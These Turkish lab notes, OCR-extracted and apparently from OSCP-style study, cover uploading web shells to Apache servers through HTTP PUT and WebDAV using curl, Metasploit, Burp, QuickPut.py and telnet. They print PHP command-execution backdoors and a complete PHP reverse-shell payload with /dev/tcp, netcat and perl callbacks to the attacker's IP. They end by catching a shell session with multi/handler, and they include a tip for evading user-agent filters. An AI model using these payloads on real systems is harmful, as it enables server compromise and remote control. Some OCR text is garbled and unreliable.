Browser'i agilir ve sol stitundaki Network'e sag tiklayip Map Network Drive... segcenegine tiklanir.

4.1 Favorites
B Desktop
& Downloads

5
=) Recent places

4 {8 Thic pC
I g Desktop
i | Documents
[+ 4 Downloads
i W Music
I+ = Pictures
i+ B Videos
b iy Local Disk (C:)

| D'ih Metwork |
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[ 418 This PC | u Mo

I jg Desktop

I 2| Documnents

I g Downloads
] _ Flopy
I Music '

I | & Pictures
I Videos
b iy Local Disk (C)

4 Devices anc

™ 1

Expand

Pin to Start

Open in new window

Map network drive..,
Disconnect network drive...

Delete

Properties

P . TN

Map Network drive... secenegine tiklanildiginda asagidaki ekran gelir.
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|! [= e ==

| —~ = —
I@uv !" ¥ Computer » v|ﬂ~| Search Compute 1 2
Organize E m 'a
i Favorites -
B Desktq _
B Downl What network folder would you like to map?
=l Recend . . :
Specify the drive letter for the connection and the folder that youw want to connect to:
A Libranes
o . Drives: lz= -
5| Docur :
oJ) Music Folder: hittp://172.06.3.72 /webday - —
| Plictuirg Example: V\server\share
Vid
B Videosy [7] Reconnect at logon
4 Homegr [¥] Conmect using different credentials
Connect to a Web site that y to store your docurnents and pictures.
18 Comput|
€ Network]
| Fnish || Cance
" | HEFESE-PC Workgroup: WORKGROUP Memorny: 162 GB
[ Processor: Intel{R) Core(TM] i7 CP...

B == e 3:54 PM
ﬁ = Ol . = s WO ms

Ekrandaki folder metin kutusuna http://hedef-web-sunucu-ip/webdavDizini seklinde url girilir ve
Connect using different credentials tick'lenir. Ardindan Finish butonuna basilir. Béylece WebDav
dizinine erisim saglanir.
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N =&
»GQ 5 » Computer » webdav (\I7216372\DavWWWRoot) Z) » = [#2 || Seorch webdev (\17216372000M... P

Organze v New folder

> Name Date modified Type Size
0 Favorites

Bl Desktop DavTestDir_XLWMPQOx
& Downloads deneme
=\ Recent Places | deneme.php

| deneme
4 Libraries
4| Documents
o Music
| Pictures
B Videos

Hedef Web
Sunucusunun WebDav
8 Computer Dizin igerigi

& Homegroup

€ Network

4 tems

> 4
e [0 m] = wros

Boylece ekranda vyapilacak her islem hedef web sunucusundaki WebDav dizininde de
gerceklesecektir.

Ekstra Not

Hedef web sunucusuna davtest ya da cadaver ile WebDav servisi (izerinden web shell
upload'ladigimiz gibi 6rnegin meterpreter da upload'layabiliriz ve bdylece local port dinlemesi
yaparak meterpreter session'l elde edebiliriz.
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HTTP PUT METHODU iLE DOSYA GONDERME HAKKINDA

Http PUT methodu web sunucularina dosya upload'lamak icin kullanilan bir methoddur. Apache
sunucular i¢in her ne kadar PUT ve DELETE methodlari default olarak enable olsa da bu methodlar
sadece handler'lar ile kullanilabilmektedir. Ornegin PUT ve DELETE'i kullanabilmek icin apache'de
asagidakileri yapmak gerekir:

> a2enmod actions
> nano /etc/apache2/apache2.conf

<Location />
Script PUT /handler.php // Dosyayi sunucuya cekecek script
Script DELETE /handler.php // Dosyayi sunucudan silecek script
</Location>

> service apache2 restart

Boylesi bir handler oldugu takdirde asagidaki tool'lar ile hedef apache web sunucusuna dosya
upload'lanabilir.

Http PUT Methodu ile Dosya Gonderme Uygulamasi

[+] Birebir denenmistir, fakat handler eksik oldugu igin basariya ulasilamamistir. WebDav servisi
(handler'i) varken ise basariya ulasiimistir.

Gereksinimler

- Ubuntu 14.04 LTS [Apache Web Sunucusu]
- OSCP Kali [Http Put Auxiliary Moduli]

a) Curl Tool'u ile Dosya Upload'lama

Curl tool'u ile hedef apache web sunucusuna http PUT methodu Uzerinden dosya upload'lama
yontemleri asagida verilmistir.

=>Yontem |
Ubuntu 14.04 LTS Terminal:
> curl -v -X PUT -d '<?php system(S_GET["cmd"]); ?>' http://localhost/backdoor.txt
Output:

* Hostname was NOT found in DNS cache
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* Trying 127.0.0.1...

* Connected to localhost (127.0.0.1) port 80 (#0)

> PUT /backdoor.txt HTTP/1.1

> User-Agent: curl/7.35.0

> Host: localhost

> Accept: */*

> Content-Length: 23

> Content-Type: application/x-www-form-urlencoded

>

* upload completely sent off: 23 out of 23 bytes

< HTTP/1.1 405 Method Not Allowed

< Date: Wed, 21 Mar 2018 11:16:12 GMT

* Server Apache/2.4.7 (Ubuntu) is not blacklisted

< Server: Apache/2.4.7 (Ubuntu)

< Allow: GET,HEAD,POST,OPTIONS

< Content-Length: 307

< Content-Type: text/html; charset=iso-8859-1

<

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>405 Method Not Allowed</title>

</head><body>

<h1>Method Not Allowed</h1>

<p>The requested method PUT is not allowed for the URL /backdoor.txt.</p>
<hr>

<address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address>
</body></html>

* Connection #0 to host localhost left intact

=>Yontem 2

Ubuntu 14.04 LTS Terminal:

> curl --upload-file /home/hasan/c99.txt -v --url http://localhost/c99.php -0

=>Yontem 3
Ubuntu 14.04 LTS Terminal:

> curl -T /home/hasan/c99.txt localhost/c99.php --http1.0

Not 1 : Eger hedef web sunucusu http/1.1 kullaniyorsa --http1.0 parametresi --http1.1 yapiimahdir.

Not 2:
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Daha once dendigi lizere web sunucularda Http PUT ve DELETE methodlarinin galisabilmesi icin web
sunuculari bir handler'a sahip olmalidirlar. Yukaridaki denemede hedef apache sunucuda PUT ile
gelen dosyayr sunucuya c¢ekecek bir script (handler) olmadigindan dosya sunucuya
upload'lanamamistir. Ancak apache'de bir handler kullanarak http put ile dosya upload'lamasi
yapabiliriz. Ornegin apache'de standard handler'lardan biri olan WebDav servisini (handler'ini)
kullanarak handler'in etkin oldugu dizine http put ile dosya upload'lama denemesinde bulunabiliriz.
WebDav servisinin apache sunucuda nasil etkin olabilecegine dair ayrintili bilgi icin bkz. Paketleme
icin Gézden Gegirilecekler / Internetten Edinilmis Kiymetli Bilgiler / Davtest Yapma.docx#Apache'ye
WebDav Kurulumu.

Asagida curl ile http put methodu tizerinden webdav handler'inin aktif oldugu dizine (/webdav
dizinine) birinci upload'lama denemesini gormektesin.

Ubuntu 14.04 LTS Terminal: [Basarili olundu]

(( HANDLER'DAKi AUTH KONTROLUNU DEVRE DISI BIRAKMAYI UNUTMA))
(( YOKSA HATA VERIYOR: 401 UNAUTHORIZED ))

> curl -v -X PUT -d '<?php system($_GET["cmd"]); ?>' http://localhost/webdav/
backdoor.php

Output:

* Hostname was NOT found in DNS cache

* Trying 127.0.0.1...

* Connected to localhost (127.0.0.1) port 80 (#0)

> PUT /webdav/backdoor.php HTTP/1.1

> User-Agent: curl/7.35.0

> Host: localhost

> Accept: */*

> Content-Length: 23

> Content-Type: application/x-www-form-urlencoded
>

* upload completely sent off: 23 out of 23 bytes

< HTTP/1.1 201 Created

< Date: Wed, 21 Mar 2018 11:47:05 GMT

* Server Apache/2.4.7 (Ubuntu) is not blacklisted

< Server: Apache/2.4.7 (Ubuntu)

< Location: http://localhost/webdav/backdoor.php
< Content-Length: 71

< Content-Type: text/html; charset=1SO-8859-1

<

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

* Connection #0 to host localhost left intact

Yukaridaki upload'lama girisimi ile http://localhost/webdav dizinine backdoor.php dosyasi basariyla
yerlesmistir.
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Asagida curl ile webdav handler'inin aktif oldugu dizine http put methodu lzerinden ikinci
upload'lama girisimini gormektesin:

Ubuntu 14.04 LTS Terminal: [Basarili olundu]

> curl --upload-file /home/hasan/c99.txt -v --url http://localhost/webdav/c99.php
-0

Output:

* Hostname was NOT found in DNS cache

* Trying 127.0.0.1...

* Connected to localhost (127.0.0.1) port 80 (#0)
> PUT /webdav/c99.php HTTP/1.0

> User-Agent: curl/7.35.0

> Host: localhost

> Accept: */*

> Content-Length: 0

>

< HTTP/1.1 201 Created

< Date: Wed, 21 Mar 2018 11:57:22 GMT

* Server Apache/2.4.7 (Ubuntu) is not blacklisted
< Server: Apache/2.4.7 (Ubuntu)

< Location: http://localhost/webdav/c99.php

< Content-Length: 71

< Connection: close

< Content-Type: text/html; charset=1SO-8859-1
<

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

* Closing connection 0

Yukaridaki upload'lama girisimi ile de c99.php dosyasi http://localhost/webdav dizinine basariyla
yerlesmistir.

Son olarak asagida curl ile yine webdav handller'inin aktif oldugu dizine http put methodu lizerinden
Gglnci upload'lama girisimi yapilmistir.

Ubuntu 14.04 LTS Terminal: [Basarili olundu]
> curl -T /home/hasan/c99.txt localhost/webdav/zararliDosya.php --http1.0
Output:

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed

0 00 00 O O O0-i----1—1—---1—-1-- O0<!DOCTYPE //DTD HTML>
<html><head>
100 71100 71 O 0 11896 0 --i--:i-- --i=-:1-- —-:--:-- 14200
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Yukandaki upload'lama girisimiyle de zararliDosya.php dosyasi http://localhost/webdav dizinine
basariyla yerlesmistir.

Sonug

Eger web gelistiricisi bilmediginden ya da dalginligindan kullandigi handler'i kék dizinde aktif kilmigsa
bu durumda hedef web uygulamasinin kok dizinine http put methodu ile yapilacak dosya upload'lama
denemesi basarili olacaktir. Boylece ilgili dizini bulma kiilfeti olmadan kolaylikla web sitesi
hack'lenebilecektir. Fakat eger web gelistiricisi kullandigr handler'i belirli bir dizinde aktif kilmigsa bu
durumda dizin taramasina (kesfine) gecilmesi gerekmektedir. Taramalar sonucunda gelen ¢iktida
resim upload'lama gibi dizin isimleri ya da WebDav gibi standard handler'lar icin sik kullanilan dizin
isimleri tespit edilirse bu dizinlere http put methodu lzerinden dosya upload'lama denemesinde
bulunulabilir ve iclerinden birinde basarili olundugunda web sitesi hack'lenebilir.

b) Metasploit Http Put Auxiliary Modiil ile Dosya Upload'lama

Metasploit http_put modili ile hedef web sunucusuna http PUT methodu lzerinden dosya
upload'lama denemesinde bulunabiliriz.

OSCP Kali:

> use auxilary/scanner/http/http_put

> set RHOSTS 172.16.3.72 // Ubuntu 14.04 LTS ip'si
> set FILEDATA file://root/Desktop/c99.php

> set PATH /

> set FILENAME c99.php

>run

Output:

[+] File uploaded: http://172.16.3.72:80/c99.php
[*] Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed

Her ne kadar dosya upload'landi dense de Ubuntu 14.04 LTS web klasériinde c99.php dosyasi
olusturulamamistir.

Not:

Daha 6nce dendigi lizere web sunucularda Http PUT ve DELETE methodlarinin ¢alisabilmesi icin web
sunuculari bir handler'a sahip olmalidirlar. Yukaridaki denemede hedef apache sunucuda PUT ile
gelen dosyayr sunucuya c¢ekecek bir script (handler) olmadigindan dosya sunucuya
upload'lanamamistir. Ancak apache'de bir handler kullanarak http put ile dosya upload'lamasi
yapabiliriz. Ornegin apache'de standard handler'lardan biri olan WebDav servisini (handler'ini)
kullanarak handler'in etkin oldugu dizine http put ile dosya upload'lama denemesinde bulunabiliriz.
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WebDav servisinin apache sunucuda naslil etkin olabilecegine dair ayrintili bilgi icin bkz. Internetten
Edinilmis Kiymetli Bilgiler / Davtest Yapma.docx#Apache'ye WebDav Kurulumu.

Asagida http_put modili ile http put methodu Uzerinden webdav handler'inin aktif oldugu dizine
(/webdav dizinine) dosya upload'lama denemesini gérmektesin.

OSCP Kali: [Basarili olundu]
> use auxilary/scanner/http/http_put
> set RHOSTS 172.16.3.72 // Ubuntu 14.04 LTS ip'si

> set FILEDATA file://root/Desktop/c99.php
> set PATH /webdav/

> set FILENAME c99.php

> run

Output:
[+] File uploaded: http://172.16.3.72:80/c99.php
[*] Scanned 1 of 1 hosts (100% complete)

[*]Auxiliary module execution completed

Bu islem sonrasi ¢99.php dosyasi http://localhost/webdav dizinine basariyla yerlesmistir.

c) Burpsuite Proxy Uygulamasi ile Dosya Upload'lama

OSCP Kali'den burp ile tarayici - sunucu arasina girilir. Ardindan tarayicidan hedef apache web
sunucusuna baglanilmaya calisilir.

Hedef Apache Web Sunucusu IP: 172.16.3.72 // Ubuntu 14.04 LTS ip'si

Applications = Places = © Firefox ESR «
Index of / - Mozilla Firefox (Build 20170809204109) @ 6 O
™ Connecting... x | ¥ Preferences x| + )
€ ©|172.16.3.72 v | x| @ Searct T E AR D e =
- [E Most Visited~ @ OSCP Student Control ... JllOffensive Security " Kali Linux " Kali Docs " Kali Tools = Exploit-DB W Aircrack-ng »

Burp http talebini yakalar.
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Applications = Places « 4 burp-StartBurp + Wed 16:32

Burp Suite Free Edition v1.7.26 - Temporary Project e ® 6
Burp Intruder Repeater Window Help

Target Spider | Scanner | Intruder | Repeater [ Sequencer [ Decoder ] Comparer ] Extender i Project options ] User options IAIcrls |

" HTTP history | WebSockets history | Options |

|iJ Request to http://172.16.3.72:80

| Forward | | Drop | | Intercept is on Action 3% 17)
Raw | Headers | Hex

L)

r

Applications - Places « 4 burp-StartBurp +

o0 e

Burp Suite Free Edition v1.7.26 - Temporary Project
Burp Intruder Repeater Window Help

Target ] Spider [ Scanner I Intruder I Repeater [ Sequencer [ Decoder ] Comparer ] Extender i Project options I User options I Alerts |

[ea ]|« v Target: http://172.16.3.72 || | 7|

- _[ Raw I Headers THex ]

T
T

Sol yandaki http request paketi su sekildedir:

GET / HTTP/1.1

Host:172.16.3.72

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US, en;q=0.5

Connection: close

Upgrade-Insecure-Requests: 1

Bu paketi dosya upload'lama islemi icin su sekilde glincelleyelim.
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PUT /backdoor.php HTTP/1.1

Host:172.16.3.72

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;9=0.8
Accept-Language: en-US, en;q=0.5

Connection: close

Upgrade-Insecure-Requests: 1

<?php echo system(S_GET["cmd"]); ?>

Yukaridaki http request paketi ile data kismindaki veri backdoor.php dosyasi halinde hedef sisteme
gidecektir. Go butonuna basarak dosya upload'lanir.

Applications « Places =+  [#l burp-StartBurp +

Burp Suite Free Edition v1.7.26 - Temporary Project Q60 0

Burp Intruder Repeater Window Help

.Targel T'Spld:r l Scanner I Intruder | Repeater [ Sequencer I Decoder i Comparer I Extender i Project options ] User options IAI:IIS |

Target: http://172.16.3.72 | #| | 7|

[Raw THeaders T Hex I HTML Iﬂender
A & ound A
r D 8 13:41:59 & r

icacion/xml;g= ig=0.8 c himl; charset=isc-8853-1

= 404 Not Found</title> r

hisNot Found</hl

‘p>The reguested URL /backdoor. php was no t found on this

server. </ p=>

s>Apache/2Z 4.7 (Ubuntu) Server at 172.16.3.72 Port

Yanit paketinden goérildigi Gizere dosya upload'lanamamistir.

Not:

Daha once dendigi lizere web sunucularda Http PUT ve DELETE methodlarinin galisabilmesi icin web
sunuculari bir handler'a sahip olmalidirlar. Yukaridaki denemede hedef apache sunucuda PUT ile
gelen dosyayr sunucuya c¢ekecek bir script (handler) olmadigindan dosya sunucuya
upload'lanamamistir. Ancak apache'de bir handler kullanarak http put ile dosya upload'lamasi
yapabiliriz. Ornegin apache'de standard handler'lardan biri olan WebDav servisini (handler'ini)
kullanarak handler'in etkin oldugu dizine http put ile dosya upload'lama denemesinde bulunabiliriz.
WebDav servisinin apache sunucuda nasil etkin olabilecegine dair ayrintili bilgi icin bkz. Paketleme
icin Gézden Gegirilecekler / Internetten Edinilmis Kiymetli Bilgiler / Davtest Yapma.docx#Apache'ye
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WebDav Kurulumu. Asagida burp ile http put methodu lzerinden webdav handler'inin aktif oldugu
dizine (/webdav dizinine) dosya upload'lama denemesini gormektesin.

Gonderilen paket: [Basarili olundu]

PUT /webdav/backdoor.php HTTP/1.1

Host:172.16.3.72

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8
Accept-Language: en-US, en;q=0.5

Connection: close

Upgrade-Insecure-Requests: 1

<?php echo system($_GET["cmd"]); ?>

Doénen paket:

HTTP/1.1. 201 Created

Date: Wed, 21 Mar 2018 17:49:06 GMT

Server: Apache/2.4.7 (Ubuntu)

Location: http://172.16.3.72/webdav/backdoor.php
Content-Length: 71

Connection: close

Content-Type: text/html; charset=1SO-8869-1

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html></head>
<title>

Applications « Places ~ |4l burp-StartBurp +

L O -

Burp Suite Free Edition v1.7.26 - Temporary Project
Burp Intruder Repeater Window Help

Target T Spider ] Scanner T Intruder | Repeater [ Sequencer [ Decoder ] Comparer ] Extender i Project options I User options l Alerts |

= - >
Target: http://172.16.3.72 L:, ;J

_[ aw I Headers THex IH L

Render

ry eated
r

e
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Gorildugu Uzere dosya basariyla upload'lanmistir. Ubuntu 14.04 LTS makinasindaki /webdav dizine
bakildiginda backdoor.php dosyasinin yerlestigi goriilmustdr.

d) QuickPut.py Tool'u ile Dosya Upload'lama
Simdi de QuickPut.py tool'u ile hedef web sunucusuna http PUT methodu (zerinden dosya
upload'lama denemesinde bulunalim. Oncelikle OSCP Kali'ye QuickPut.py tool'unu asagidaki linkten
indirelim:

http://infomesh.net/2001/QuickPut/QuickPut
Ardindan asagidakileri OSCP terminaline girelim:

OSCP Kali Terminal:

> mv QuickPut QuickPut.py

> chmod a+x QuickPut.py

> python QuickPut.py --help

Output:

QuickPut 1.5 - http://infomesh.net/2001/QuickPut/

This is a program that enables one to load files onto a server using
the HTTP PUT method. It supports basic and digest authentication.

Usage: QuickPut [ --help ] [ --v ] file http_uri [ uname pswd ]

--help - Prints this message out
--v - Turns on "verbose" mode

"file" is the local file to upload, and "http_uri" is the target.

"uname" and "pswd" are optional authentication details.

Goriuldigu Gzere QuickPut.py tool'u calisir durumdadir. Simdi QuickPut.py tool'u ile hedef apache
web sunucusuna http put methodu lizerinden dosya upload'lama girisiminde bulunalim:
OSCP Kali Terminal:
> python QuickPut.py /root/Desktop/backdoor.php http://172.16.3.72/backdoor.php
((Ubuntu 14.04 LTS ip'si))

Output:
[empty]
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Gorildigu tzere dosya upload'lamasi basarisiz olmustur.

Not 1:

Daha once dendigi lizere web sunucularda Http PUT ve DELETE methodlarinin galisabilmesi icin web
sunuculari bir handler'a sahip olmalidirlar. Yukaridaki denemede hedef apache sunucuda PUT ile
gelen dosyayr sunucuya c¢ekecek bir script (handler) olmadigindan dosya sunucuya
upload'lanamamistir. Ancak apache'de bir handler kullanarak http put ile dosya upload'lamasi
yapabiliriz. Ornegin apache'de standard handler'lardan biri olan WebDav servisini (handler'ini)
kullanarak handler'in etkin oldugu dizine http put ile dosya upload'lama denemesinde bulunabiliriz.
WebDav servisinin apache sunucuda nasil etkin olabilecegine dair ayrintili bilgi icin bkz. Paketleme
icin Gézden Gegirilecekler / Internetten Edinilmis Kiymetli Bilgiler / Davtest Yapma.docx#Apache'ye
WebDav Kurulumu. Asagida QuickPut.py tool'u ile http put methodu lizerinden webdav handler'inin
aktif oldugu dizine (/webdav dizinine) dosya upload'lama denemesini gérmektesin.

OSCP Kali Terminal: [Basarili olundu]
> python QuickPut.py /root/Desktop/backdoor.php http://172.16.3.72/webdav/backdoor.php
((Ubuntu 14.04 LTS ip'si))

Output:
Put succeeded.

Goruldigu tizere dosya upload'lamasi basarili olmustur.

Not 2 :
Normalde hedef web sunucusunda handler varsa dosya upload'lama tool'lar ile hedef web
sunucusuna dosya upload'layabiliriz. Fakat eger hedef web uygulamasi konfigurasyon ayarlari ile

giivenlik kontrollerine sahipse bazi tool'lar icin dosya upload'lamalarini énleyebilir. Ornegin lighttpd
web sunucusunun konfigurasyon ayarlarinda séyle bir kontrol yer alirsa

> cat /etc/lighttpd/lighttpd.conf

Output:

SHTTP["url"] =~ "A/test(S|/)"{
webdav.activate="enable"
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SHTTP["useragent"] =~ "cadaver" {
SHTTP["url"] I~ "A/cadaver(S|/)" {
url.access-deny = ("")
}
}

SHTTP["useragent"] =~ "Mozilla/5.00" {
SHTTP["url"] I~ "A/Mozilla/5.00($ /)" {
url.access-deny = ("")

cadaver istemcisi tool'u ile hedef WebDav dizinine dosya upload'lama islemi engellenecektir. Clinki
cadaver istemcisi dosya upload'larken http request'teki useragent basligini cadaver string'iyle
doldurmaktadir ve bu nedenle giivenlik kontroliine takilacaktir. Fakat QuickPut.py tool'u useragent'i
farkh bir string'le dolduracagi icin glivenlik mekanizmasina takilmayacaktir ve dosyayl basariyla
upload'layabilecektir. Dolayisiyla bahsedilen http put methodu ile dosya upload'lama tool'larinin
hepsini denemekte fayda vardir.

Dip not: Cadaver istemcisi yukaridaki kontrol ile engellenecegi gibi ayni sekilde davtest
tool'u da engellenecektir. Clink(i davtest tool'u cadaver istemcisini temel alan cadaver'in
parameterize edilmis bir tool halidir. Cadaver'le manuel yapilan islem davtest'te daha Ust
seviyeli yapilmaktadir. Ayrintili bilgi icin bkz. Davtest Yapma.docx#Uygulama (Apache'ye
DavTest Yapma), #Ekstra (( Cadaver istemcisi ile WebDav'a erisim )))

e) Telnet Tool'u ile Dosya Upload'lama

Son olarak telnet tool'u ile hedef web sunucusuna http PUT methodu Uzerinden dosya upload'lama
denemesinde bulunalim.

OSCP Kali Terminal

> telnet 172.16.3.72 80 // Ubuntu 14.04 LTS ip'si
Trying 172.16.3.72...
Connected to 172.16.3.72
Escape character is 'A]".

PUT /backdoor.php HTTP/1.0
User-Agent: deneme

Host: 172.16.3.72
Accept-Language: en-us
Connection: Keep-Alive
Content-type: text/html
Content-Length: 40

<?php echo system(S_GET["cmd"]); ?>
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(( 40 karakter uzunlugu dolana kadar enter'lanir ))

Not: Ubuntu 18.04 LTS de apache servisi default olarak reqtimeout modiili enable
halde geldigi icin telnet baglantisi zaman asimi nedeniyle sonlanabiliyor. Bu ne-
denle a2dismod reqtimeout ile modiili disable et. Bdylece baglanti kapanmasi
sorunu ¢ozilmekte.

Output:

HTTP/1.1 404 Not Found

Date: Fri, 23 Mar 2018 12:30:50 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 286

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL /backdoor.php was not found on this server.</p>
<hr>

<address>Apache/2.4.7 (Ubuntu) Server at 172.16.3.72 Port 80</address>
</body></html>

HTTP/1.1 400 Bad Request

Date: Fri, 23 Mar 2018 12:31:38 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 300

Connection: close

Content-Type: text/html; charset=iso-8859-1

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<htmlI><head>

<title>400 Bad Request</title>

</head><body>

<h1>Bad Request</h1>

<p>Your browser sent a request that this server could not understand.<br />
</p>

<hr>

<address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address>
</body></html>

Connection closed by foreign host.
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Gorildigu tzere backdoor.php hedef web sunucusuna upload'lanamamistir.
Not:

Daha 6nce dendigi lzere web sunucularda Http PUT ve DELETE methodlarinin galisabilmesi icin web
sunuculari bir handler'a sahip olmalidirlar. Yukaridaki denemede hedef apache sunucuda PUT ile
gelen dosyayr sunucuya c¢ekecek bir script (handler) olmadigindan dosya sunucuya
upload'lanamamistir. Ancak apache'de bir handler kullanarak http put ile dosya upload'lamasi
yapabiliriz. Ornegin apache'de standard handler'lardan biri olan WebDav servisini (handler'ini)
kullanarak handler'in etkin oldugu dizine http put ile dosya upload'lama denemesinde bulunabiliriz.
WebDav servisinin apache sunucuda nasil etkin olabilecegine dair ayrintili bilgi icin bkz. Internetten
Edinilmis Kiymetli Bilgiler / Davtest Yapma.docx#Apache'ye WebDav Kurulumu. Asagida telnet tool'u
ile http put methodu lzerinden webdav handler'inin aktif oldugu dizine (/webdav dizinine) dosya
upload'lama denemesini gormektesin.

OSCP Kali Terminal: [Basarili olundu]

> telnet 172.16.3.72 80 // Ubuntu 14.04 LTS ip'si
Trying 172.16.3.72...

Connected to 172.16.3.72

Escape character is 'A]".

PUT /webdav/backdoor.php HTTP/1.0
User-Agent: deneme

Host: 172.16.3.72

Accept-Language: en-us

Connection: Keep-Alive

Content-type: text/html
Content-Length: 40

<?php echo system($_GET["cmd"]); ?>
(( 40 karakter uzunlugu dolana kadar enter'lanir ))
Output:

HTTP/1.1 201 Created

Date: Fri, 23 Mar 2018 12:54:32 GMT

Server: Apache/2.4.7 (Ubuntu)

Location: http://172.16.3.72/webdav/backdoor.php
Content-Length: 71

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=1SO-8859-1

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
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<title>

HTTP/1.1 400 Bad Request

Date: Fri, 23 Mar 2018 12:55:25 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 300

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>400 Bad Request</title>

</head><body>

<h1>Bad Request</h1>

<p>Your browser sent a request that this server could not understand.<br />
</p>

<hr>

<address>Apache/2.4.7 (Ubuntu) Server at localhost Port 80</address>
</body></html>

Connection closed by foreign host.

Goruldigu tizere hedef web sunucusuna dosya upload'lama islemi basariyla gergeklestirilmistir.

Ekstra (( Php Reverse Shell Upload'lama ve multi/handler ile Dinleme ))
[+] Birebir denenmistir ve basariyla uygulanmistir.
Simdi OSCP Kali'den hedef web sunucusuna php reverse shell upload'layalim ve OSCP Kali'den
mutli/handler ile dinleme moduna gecerek reverse shell oturumu alalim.

Saldirgan Sistem : OSCP Kali OR KALI (ESKI)

Hedef Sistem : Ubuntu 14.04 LTS Apache Sunucusu

Not: Php reverse shell payload'unun OSCP Kali'den hedef web sunucusuna sorunsuz

upload'lanabilmesi icin Ubuntu 14.04 LTS'deki iptables firewall'u disable edilmelidir.

Oncelikle php reverse shell payload dosyamizi OSCP Kali'de olusturalim:

php_reverse_shell.php

<?php

echo 'running shell’;

Sip="YOUR_IP"; // OSCP Kali Ip'si konur. (172.16.3.71)
Sport="YOUR_PORT; // OSCP Kali port'u konur. (4443)
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Sreverse_shells = array(

Ybin/bash -i > /dev/tcp/".Sip.'/ . Sport.' 0<&1 2>&1",

'0<&196;exec 196<>/dev/tcp/".Sip.'/ .Sport."; /bin/sh <&196 >&196 2>&196',

"Yusr/bin/nc ".Sip." ".Sport." -e /bin/bash’,

'nc.exe -nv .Sip." .Sport.' -e cmd.exe’,

"“Jusr/bin/perl -MIO -e 'Sp=fork;exit,if(Sp);Sc=new
10::Socket::INET(PeerAddr,\"".Sip.":".Sport."\");STDIN->fdopen(Sc,r);S~->fdopen(Sc,w);systemS _
while<>;"",

'rm -f /tmp/p; mknod /tmp/p p && telnet '.Sip." ".Sport.' O/tmp/p’,

‘perl -e \'use
Socket;Si="".Sip."":Sp=".Sport.";socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(s,
sockaddr_in(Sp,inet_aton(Si)))){open(STDIN,">&S");0pen(STDOUT,">&S");0pen(STDERR, ">&S");exec("
/bin/sh -i");;\"

)

foreach (Sreverse_shells as Sreverse_shell) {
try {echo system(Sreverse_shell);} catch (Exception Se) fecho Se;}
try {shell_exec(Sreverse_shell);} catch (Exception Se) {echo Se;}
try {fexec(Sreverse_shell);} catch (Exception Se) {echo Se;}

}

system('id’);

>

Ardindan bu payload dosyasini hedef web sunucusuna upload'layalim:

(( KALI (ESKi)))

> use auxilary/scanner/http/http_put

> set RHOSTS 172.16.3.72 // Ubuntu 14.04 LTS ip'si
> set FILEDATA file://root/Desktop/php_reverse_shell.php

> set PATH /webdav/

> set FILENAME php_reverse_shell.php

>run

Output:
[-]1 172.16.3.72: File doesn't seem to exist. The upload probably failed.

[*] Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed

Her ne kadar dosya upload'lanamadi dense de dosya upload'lanmistir. Siradaki islem multi/handler
ile dinleme moduna gegmektir.

OSCP Kali:
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> use exploit/mutli/handler
> set PAYLOAD php/reverse_php

>set LHOST 172.16.3.71 // OSCP Kali Ip'si
> set LPORT 4443 // OSCP Kali Port'u
>run

[*] Exploit running as background job 0.
[*] Started reverse TCP Handler on 172.16.3.71:4443

> jobs

Jobs

Id Name Payload Payload Options

0 Exploit: multi/handler php/reverse_php tcp://172.16.3.71:4443

Dinleme moduna gectigimize gore simdi hedef sunucusundaki payload'u tetikleyelim.

Tarayicl
http://172.16.3.72/webdav/php_reverse_shell.php // Ubuntu 14.04 LTS ip'si
Ylaces - © Firefox E[J‘F -
Index of /webdav - Mozilla Firefox (Build 20170809204109) Q ® O
&) Ubuntu Pastebin % [ &) Connecting... I

@ | 172.16.3.72/webday ) @ Searct B 3§ A O v I
[ Most Visited~ @ OSCP Student Control Pl Offensive Security "W Kali Linux “e Kali Docs e Kali Tools & Exploit-DB W Aircrack-ng
av

Index of /webd

Name Last modified Size Description

é Parent Directory "
@ c99.php 2018-03-26 10:26 0

(1 php_reverse_shell.php 2018-03-26 10:39 1.0K (

Apache/2.4.7 (Ubuntu) Server at 172.16.3.72 Port 80

b =2 B

Tarayici surekli Connecting diyecektir ve o siralarda mutli/handler'imiz reverse shell baglantisi
yakalayacaktir.

OSCP Kali:

[*] Command shell session 1 opened (172.16.3.71:4443 -> 172.16.3.72:40032) at 2018-03-
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26 10:43:53 +0300
> sessions // Elde edilen session'lari siralar

Active sessions

Id Type Information Connection

1 shell php/php 172.16.3.71:4443 -> 172.16.3.72:40032

Goruldigu tizere reverse shell session'l elde edilmistir. Simdi reverse shell oturumuna gecelim.

OSCP Kali

> sessions -i 1 // 1id'li oturuma gegilir.

